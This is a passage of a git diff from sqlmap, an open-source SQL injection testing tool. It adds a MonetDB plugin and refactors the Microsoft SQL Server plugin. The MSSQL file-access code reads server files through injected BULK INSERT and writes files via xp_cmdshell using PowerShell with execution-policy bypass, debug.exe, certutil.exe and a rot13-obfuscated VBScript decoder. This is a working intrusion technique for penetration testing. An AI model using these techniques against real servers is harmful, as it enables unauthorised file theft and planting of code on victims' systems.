(c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MONETDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.monetdb.enumeration import Enumeration +from plugins.dbms.monetdb.filesystem import Filesystem +from plugins.dbms.monetdb.fingerprint import Fingerprint +from plugins.dbms.monetdb.syntax import Syntax +from plugins.dbms.monetdb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MonetDB methods + """ + + def __init__(self): + self.excludeDbsList = MONETDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MONETDB] = Syntax.escape diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py new file mode 100644 index 00000000000..66a6bcdf8eb --- /dev/null +++ b/plugins/dbms/monetdb/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import pymonetdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/gijzelaerr/pymonetdb + User guide: https://pymonetdb.readthedocs.io/en/latest/index.html + API: https://www.python.org/dev/peps/pep-0249/ + License: Mozilla Public License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except pymonetdb.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except pymonetdb.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pymonetdb.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py new file mode 100644 index 00000000000..8634adab8d6 --- /dev/null +++ b/plugins/dbms/monetdb/enumeration.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MonetDB it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MonetDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on MonetDB it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/monetdb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py new file mode 100644 index 00000000000..83c065d18b4 --- /dev/null +++ b/plugins/dbms/monetdb/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MONETDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MONETDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MONETDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES): + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("isaurl(NULL)=false") + + if result: + infoMsg = "confirming %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CODE(0) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warning(warnMsg) + + return False + + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py new file mode 100644 index 00000000000..e93396d6e9f --- /dev/null +++ b/plugins/dbms/monetdb/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CODE(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py new file mode 100644 index 00000000000..bf0fa25305c --- /dev/null +++ b/plugins/dbms/monetdb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index acff62b9903..e19a115f887 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,7 @@ class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.MSSQL] = Syntax.escape diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 4a5dd8f8a12..f49cabaa646 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ import logging from lib.core.common import getSafeExString -from lib.core.convert import utf8encode +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -34,9 +34,6 @@ class Connector(GenericConnector): to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() @@ -61,7 +58,7 @@ def execute(self, query): retVal = False try: - self.cursor.execute(utf8encode(query)) + self.cursor.execute(getText(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 5deb83d91d5..28de4c5d672 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import re + from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import getLimitRange @@ -17,6 +19,7 @@ from lib.core.common import singleTimeLogMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -28,18 +31,15 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject - from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" - logger.warn(warnMsg) + logger.warning(warnMsg) users = [] areAdmins = set() @@ -86,7 +86,7 @@ def getTables(self): dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MSSQL].tables @@ -98,7 +98,7 @@ def getTables(self): singleTimeLogMessage(infoMsg) continue - if conf.exclude and db in conf.exclude.split(','): + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -121,7 +121,7 @@ def getTables(self): singleTimeLogMessage(infoMsg) continue - if conf.exclude and db in conf.exclude.split(','): + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -140,7 +140,7 @@ def getTables(self): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) continue tables = [] @@ -159,7 +159,7 @@ def getTables(self): else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) if not kb.data.cachedTables and not conf.search: errMsg = "unable to retrieve the tables for any database" @@ -211,7 +211,7 @@ def searchTable(self): singleTimeLogMessage(infoMsg) continue - if conf.exclude and db in conf.exclude.split(','): + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -222,7 +222,7 @@ def searchTable(self): values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - if isinstance(values, basestring): + if isinstance(values, six.string_types): values = [values] for foundTbl in values: @@ -248,7 +248,7 @@ def searchTable(self): warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -263,13 +263,13 @@ def searchTable(self): kb.hintValue = tbl foundTbls[db].append(tbl) - for db, tbls in foundTbls.items(): + for db, tbls in list(foundTbls.items()): if len(tbls) == 0: foundTbls.pop(db) if not foundTbls: warnMsg = "no databases contain any of the provided tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return conf.dumper.dbTables(foundTbls) @@ -285,7 +285,7 @@ def searchColumn(self): colList = conf.col.split(',') if conf.exclude: - colList = [_ for _ in colList if _ not in conf.exclude.split(',')] + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] origTbl = conf.tbl origDb = conf.db @@ -346,7 +346,7 @@ def searchColumn(self): if conf.excludeSysDbs and db in self.excludeDbsList: continue - if conf.exclude and db in conf.exclude.split(','): + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -356,7 +356,7 @@ def searchColumn(self): values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - if isinstance(values, basestring): + if isinstance(values, six.string_types): values = [values] for foundTbl in values: @@ -407,7 +407,7 @@ def searchColumn(self): warnMsg += "s LIKE" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) continue diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 105c49d2878..416cf2d28f5 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,22 +1,26 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import codecs import ntpath import os +from lib.core.common import checkFile from lib.core.common import getLimitRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.convert import base64encode -from lib.core.convert import hexencode +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED @@ -28,9 +32,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) @@ -46,14 +47,14 @@ def _dataToScr(self, fileContent, chunkName): scrString = "" for lineChar in fileContent[fileLine:fileLine + lineLen]: - strLineChar = hexencode(lineChar, conf.encoding) + strLineChar = encodeHex(lineChar, binary=False) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) else: scrString += " %s" % strLineChar - lineAddr += len(lineChar) + lineAddr += len(strLineChar) // 2 fileLines.append(scrString) @@ -83,22 +84,23 @@ def _updateDestChunk(self, fileContent, tmpPath): return chunkName - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + def stackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) result = [] txtTbl = self.fileTblName - hexTbl = "%shex" % self.fileTblName + hexTbl = "%s%shex" % (self.fileTblName, randomStr()) self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) - logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) + logger.debug("loading the content of file '%s' into support table" % remoteFile) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True) - # Reference: http://support.microsoft.com/kb/104829 + # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) @@ -149,7 +151,7 @@ def stackedReadFile(self, rFile): if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " - errMsg += "file '%s'" % rFile + errMsg += "file '%s'" % remoteFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) @@ -162,41 +164,41 @@ def stackedReadFile(self, rFile): return result - def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) - def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType - infoMsg += "to file '%s'" % dFile + infoMsg += "to file '%s'" % remoteFile logger.info(infoMsg) - encodedFileContent = base64encode(wFileContent) + encodedFileContent = encodeBase64(localFileContent, binary=False) encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File) randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript) - wFileSize = len(encodedFileContent) + localFileSize = len(encodedFileContent) chunkMaxSize = 1024 logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) - for i in xrange(0, wFileSize, chunkMaxSize): + for i in xrange(0, localFileSize, chunkMaxSize): wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " psString += "[System.Convert]::FromBase64String($Base64); Set-Content " - psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile + psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) - logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) + logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile) commands = ( "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, @@ -206,27 +208,27 @@ def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): self.execCmd(" & ".join(command for command in commands)) - def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType - infoMsg += "file content to file '%s', please wait.." % dFile + infoMsg += "file content to file '%s', please wait.." % remoteFile logger.info(infoMsg) - dFileName = ntpath.basename(dFile) - sFile = "%s\\%s" % (tmpPath, dFileName) - wFileSize = os.path.getsize(wFile) + remoteFileName = ntpath.basename(remoteFile) + sFile = "%s\\%s" % (tmpPath, remoteFileName) + localFileSize = os.path.getsize(localFile) debugSize = 0xFF00 - if wFileSize < debugSize: - chunkName = self._updateDestChunk(wFileContent, tmpPath) + if localFileSize < debugSize: + chunkName = self._updateDestChunk(localFileContent, tmpPath) debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType) - debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, dFileName, dFile) + debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, remoteFileName, remoteFile) logger.debug(debugMsg) commands = ( "cd \"%s\"" % tmpPath, - "ren %s %s" % (chunkName, dFileName), - "move /Y %s %s" % (dFileName, dFile) + "ren %s %s" % (chunkName, remoteFileName), + "move /Y %s %s" % (remoteFileName, remoteFile) ) self.execCmd(" & ".join(command for command in commands)) @@ -237,18 +239,18 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp debugMsg += "on the server, please wait.." logger.debug(debugMsg) - for i in xrange(0, wFileSize, debugSize): - wFileChunk = wFileContent[i:i + debugSize] - chunkName = self._updateDestChunk(wFileChunk, tmpPath) + for i in xrange(0, localFileSize, debugSize): + localFileChunk = localFileContent[i:i + debugSize] + chunkName = self._updateDestChunk(localFileChunk, tmpPath) if i == 0: debugMsg = "renaming chunk " - copyCmd = "ren %s %s" % (chunkName, dFileName) + copyCmd = "ren %s %s" % (chunkName, remoteFileName) else: debugMsg = "appending chunk " - copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) + copyCmd = "copy /B /Y %s+%s %s" % (remoteFileName, chunkName, remoteFileName) - debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) + debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, remoteFileName) logger.debug(debugMsg) commands = ( @@ -259,80 +261,82 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp self.execCmd(" & ".join(command for command in commands)) - logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) + logger.debug("moving %s file %s to %s" % (fileType, sFile, remoteFile)) commands = ( "cd \"%s\"" % tmpPath, - "move /Y %s %s" % (dFileName, dFile) + "move /Y %s %s" % (remoteFileName, remoteFile) ) self.execCmd(" & ".join(command for command in commands)) - def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using a custom visual basic script to write the " - infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile) + infoMsg += "%s file content to file '%s', please wait.." % (fileType, remoteFile) logger.info(infoMsg) randVbs = "tmps%s.vbs" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\\%s" % (tmpPath, randFile) - vbs = """Dim inputFilePath, outputFilePath - inputFilePath = "%s" - outputFilePath = "%s" - Set fs = CreateObject("Scripting.FileSystemObject") - Set file = fs.GetFile(inputFilePath) - If file.Size Then - Wscript.Echo "Loading from: " & inputFilePath - Wscript.Echo - Set fd = fs.OpenTextFile(inputFilePath, 1) - data = fd.ReadAll - fd.Close - data = Replace(data, " ", "") - data = Replace(data, vbCr, "") - data = Replace(data, vbLf, "") - Wscript.Echo "Fixed Input: " - Wscript.Echo data - Wscript.Echo - decodedData = base64_decode(data) - Wscript.Echo "Output: " - Wscript.Echo decodedData - Wscript.Echo - Wscript.Echo "Writing output in: " & outputFilePath - Wscript.Echo - Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True) - ofs.Write decodedData - ofs.close - Else - Wscript.Echo "The file is empty." - End If - Function base64_decode(byVal strIn) - Dim w1, w2, w3, w4, n, strOut - For n = 1 To Len(strIn) Step 4 - w1 = mimedecode(Mid(strIn, n, 1)) - w2 = mimedecode(Mid(strIn, n + 1, 1)) - w3 = mimedecode(Mid(strIn, n + 2, 1)) - w4 = mimedecode(Mid(strIn, n + 3, 1)) - If Not w2 Then _ - strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) - If Not w3 Then _ - strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) - If Not w4 Then _ - strOut = strOut + Chr(((w3 * 64 + w4) And 255)) - Next - base64_decode = strOut - End Function - Function mimedecode(byVal strIn) - Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" - If Len(strIn) = 0 Then - mimedecode = -1 : Exit Function - Else - mimedecode = InStr(Base64Chars, strIn) - 1 - End If - End Function""" % (randFilePath, dFile) - + vbs = """Qvz vachgSvyrCngu, bhgchgSvyrCngu + vachgSvyrCngu = "%f" + bhgchgSvyrCngu = "%f" + Frg sf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg") + Frg svyr = sf.TrgSvyr(vachgSvyrCngu) + Vs svyr.Fvmr Gura + Jfpevcg.Rpub "Ybnqvat sebz: " & vachgSvyrCngu + Jfpevcg.Rpub + Frg sq = sf.BcraGrkgSvyr(vachgSvyrCngu, 1) + qngn = sq.ErnqNyy + sq.Pybfr + qngn = Ercynpr(qngn, " ", "") + qngn = Ercynpr(qngn, ioPe, "") + qngn = Ercynpr(qngn, ioYs, "") + Jfpevcg.Rpub "Svkrq Vachg: " + Jfpevcg.Rpub qngn + Jfpevcg.Rpub + qrpbqrqQngn = onfr64_qrpbqr(qngn) + Jfpevcg.Rpub "Bhgchg: " + Jfpevcg.Rpub qrpbqrqQngn + Jfpevcg.Rpub + Jfpevcg.Rpub "Jevgvat bhgchg va: " & bhgchgSvyrCngu + Jfpevcg.Rpub + Frg bsf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg").BcraGrkgSvyr(bhgchgSvyrCngu, 2, Gehr) + bsf.Jevgr qrpbqrqQngn + bsf.pybfr + Ryfr + Jfpevcg.Rpub "Gur svyr vf rzcgl." + Raq Vs + Shapgvba onfr64_qrpbqr(olIny fgeVa) + Qvz j1, j2, j3, j4, a, fgeBhg + Sbe a = 1 Gb Yra(fgeVa) Fgrc 4 + j1 = zvzrqrpbqr(Zvq(fgeVa, a, 1)) + j2 = zvzrqrpbqr(Zvq(fgeVa, a + 1, 1)) + j3 = zvzrqrpbqr(Zvq(fgeVa, a + 2, 1)) + j4 = zvzrqrpbqr(Zvq(fgeVa, a + 3, 1)) + Vs Abg j2 Gura _ + fgeBhg = fgeBhg + Pue(((j1 * 4 + Vag(j2 / 16)) Naq 255)) + Vs Abg j3 Gura _ + fgeBhg = fgeBhg + Pue(((j2 * 16 + Vag(j3 / 4)) Naq 255)) + Vs Abg j4 Gura _ + fgeBhg = fgeBhg + Pue(((j3 * 64 + j4) Naq 255)) + Arkg + onfr64_qrpbqr = fgeBhg + Raq Shapgvba + Shapgvba zvzrqrpbqr(olIny fgeVa) + Onfr64Punef = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/" + Vs Yra(fgeVa) = 0 Gura + zvzrqrpbqr = -1 : Rkvg Shapgvba + Ryfr + zvzrqrpbqr = VaFge(Onfr64Punef, fgeVa) - 1 + Raq Vs + Raq Shapgvba""" + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581 + vbs = codecs.decode(vbs, "rot13") vbs = vbs.replace(" ", "") - encodedFileContent = base64encode(wFileContent) + encodedFileContent = encodeBase64(localFileContent, binary=False) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) @@ -351,9 +355,9 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): self.execCmd(" & ".join(command for command in commands)) - def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): infoMsg = "using certutil.exe to write the %s " % fileType - infoMsg += "file content to file '%s', please wait.." % dFile + infoMsg += "file content to file '%s', please wait.." % remoteFile logger.info(infoMsg) chunkMaxSize = 500 @@ -361,7 +365,7 @@ def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, file randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\\%s" % (tmpPath, randFile) - encodedFileContent = base64encode(wFileContent) + encodedFileContent = encodeBase64(localFileContent, binary=False) splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) @@ 